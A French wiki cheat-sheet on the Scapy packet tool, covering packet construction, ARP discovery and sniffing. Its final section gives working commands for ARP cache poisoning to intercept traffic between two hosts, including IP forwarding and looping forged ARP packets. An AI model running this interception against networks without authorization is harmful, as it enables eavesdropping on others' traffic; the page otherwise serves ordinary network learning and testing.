====== Scapy ====== ==== Installation ==== Cloner le [[https://github.com/secdev/scapy|dépôt GitHub]] pour avoir la dernière version. Installer les paquets ''ipython'' et ''tcpdump''. Lancer en root: sudo ./run_scapy ==== Table de routage ==== == Voir la table de routage == conf.route.route('') Cette table de routage est construite en copiant celle du système au démarrage de Scapy. ==== Construire un paquet ==== pkt = Ether(dst="") / IP(dst="") / UDP(dport=53) / DNS() Décrire un paquet: ls(IP()) ==== Envoi de paquet ==== Envoi d'un paquet de niveau 3: send(IP()) Envoi d'un paquet de niveau 2: sendp(Ether() / IP(), iface='eth0') Si attente d'une réponse: ''sr1()'' ou ''srp1()'' ==== Paquets ARP ==== srp1(Ether(dst=ETHER_BROADCAST, ARP(op="who-has", pdst="172.21.123.45"))) Envoi de paquets à une plage IP: ans, unans = srp(Ether(dst=ETHER_BROADCAST, ARP(pdst="192.168.0.0/24")), timeout=2, retry=-2) ans.show() #: formate tous les paquets reçus de façon sympa ''ans'' contient des couples ''(paquet_envoyé, paquet_reçu)'', ''unans'' contient les paquets envoyés sans réponses. Connaître l'adresse MAC qui répond à une IP: ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op="who-has", pdst="172.21.254.1"),timeout=2) results = [] for i in range(1,5): ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op="who-has", pdst="172.21.254." + str(i)),timeout=2) results.append(ans[0][1].psrc + " " + ans[0][1].hwsrc) for x in results: print(x) ==== Paquets 802.1Q ==== Dot1Q() ==== Sniffer le réseau ==== pkts = sniff(filter="host A and tcp", prn=lambda p: p.summary) ou pour mettre en forme l'affichage: pkts = sniff(filter="host A and tcp", prn=lambda p: p.summary + p.sprintf("seq: %TCP.seq% ack: %TCP.ack%")) ==== Outils ==== Aléatoire (pour changer le port à chaque requête par exemple): RandShort() S'assurer que le paquet a les flags ''SYN'' et ''ACK'' activés: [TCP].flags & 18 ==== Spoofer le réseau ==== Récupérer le trafic entre les machines A et B: - Activer le routage des paquets: sudo sysctl net/ipv4/ip_forward=1 et désactiver les redirections de politesse: sudo sysctl net/ipv4/conf/all/send_redirects=0 - Adapter le parefeu (pas de règles bizarres), notamment autoriser le forwarding: sudo iptables -P FORWARD ACCEPT - Récupérer les adresses MAC des adresses IP A et B: srp1(Ether(dst=ETHER_BROADCAST)/ARP(pdst="",psrc="")) srp1(Ether(dst=ETHER_BROADCAST)/ARP(pdst="",psrc="")) L'adresse MAC se trouve dans le champ ''src'' de la trame Ethernet. - Cache-poisoning des tables ARP de A et B: sendp(Ether(src="",dst="")/ARP(op="who-has",psrc="",pdst=""), inter=1, loop=1) sendp(Ether(src="",dst="")/ARP(op="who-has",psrc="",pdst=""), inter=1, loop=1) Si on met ''inter=RandNum(10, 40)'' , l'intervalle de temps varie entre 10 et 40 secondes (pas obligatoire), ''loop=1'' lance l'exécution en boucle. - Sniffer le réseau:pkts = sniff(filter="host or host ", prn=lambda p: p.summary) Astuce: pour éviter de lancer deux instances de Scapy pour corrompre les tables: pkts = [Ether(src="",dst="")/ARP(op="who-has",psrc="",pdst=""), Ether(src="",dst="")/ARP(op="who-has",psrc="",pdst="")] srploop(pkts, inter=1, store=False) ''store=False'' permet d'éviter de stocker en mémoire les paquets, pour préserver la RAM.